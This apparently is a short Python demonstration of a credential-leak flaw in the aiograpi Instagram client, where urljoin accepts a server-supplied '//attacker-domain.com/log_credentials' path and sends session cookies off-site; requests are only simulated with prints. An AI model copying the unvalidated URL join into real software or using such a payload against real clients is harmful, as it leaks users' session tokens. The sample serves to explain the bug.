Vulnerable code sample

import urllib.parse

class VulnerableClient:
    """
    A simplified representation of the aiograpi client before the fix.
    It contains a session with sensitive headers.
    """
    def __init__(self, session_id):
        self.api_url = "https://i.instagram.com/api/v1/"
        self.headers = {
            "User-Agent": "Instagram 219.0.0.12.117 Android",
            "Cookie": f"sessionid={session_id};"
        }
        print("Client initialized with sensitive session headers.")

    def _simulate_request(self, url):
        """Simulates making an HTTP request to the specified URL."""
        print(f"\n[!] Making a request to: {url}")
        print(f"[!] With sensitive headers: {self.headers}")
        if "i.instagram.com" not in url:
            print("\n[!!!] VULNERABILITY EXPLOITED [!!!]")
            print("Sensitive session headers have been sent to a non-Instagram domain.")

    def handle_challenge_response(self, challenge_json):
        """
        This function contains the vulnerable logic.
        It accepts a server-supplied path and uses it to build a request URL
        without proper validation.
        """
        challenge_path = challenge_json.get("challenge", {}).get("url")

        if not challenge_path:
            print("No challenge path found in the response.")
            return

        # VULNERABLE STEP: The `challenge_path` from the server is used to build
        # the next URL. `urllib.parse.urljoin` will discard the base URL if
        # the path is an absolute URL (e.g., starts with "//" or "http://").
        next_url = urllib.parse.urljoin(self.api_url, challenge_path)

        # The client proceeds to make a request to the potentially malicious URL,
        # sending its sensitive session headers along with it.
        self._simulate_request(next_url)


# --- Demonstration of the vulnerability ---

# 1. Initialize the client with a sensitive session ID.
client = VulnerableClient(session_id="SENSITIVE_USER_SESSION_ID_12345")

# 2. An attacker, through a Man-in-the-Middle (MitM) or DNS compromise,
#    modifies the challenge response from Instagram.
#    The 'url' field now points to an attacker-controlled domain.
attacker_modified_response = {
    "message": "challenge_required",
    "challenge": {
        "url": "//attacker-domain.com/log_credentials",
        "challenge_type": "signup_challenge"
    },
    "status": "fail"
}

# 3. The vulnerable client code processes the malicious response.
print("\nClient is processing a challenge response manipulated by an attacker...")
client.handle_challenge_response(attacker_modified_response)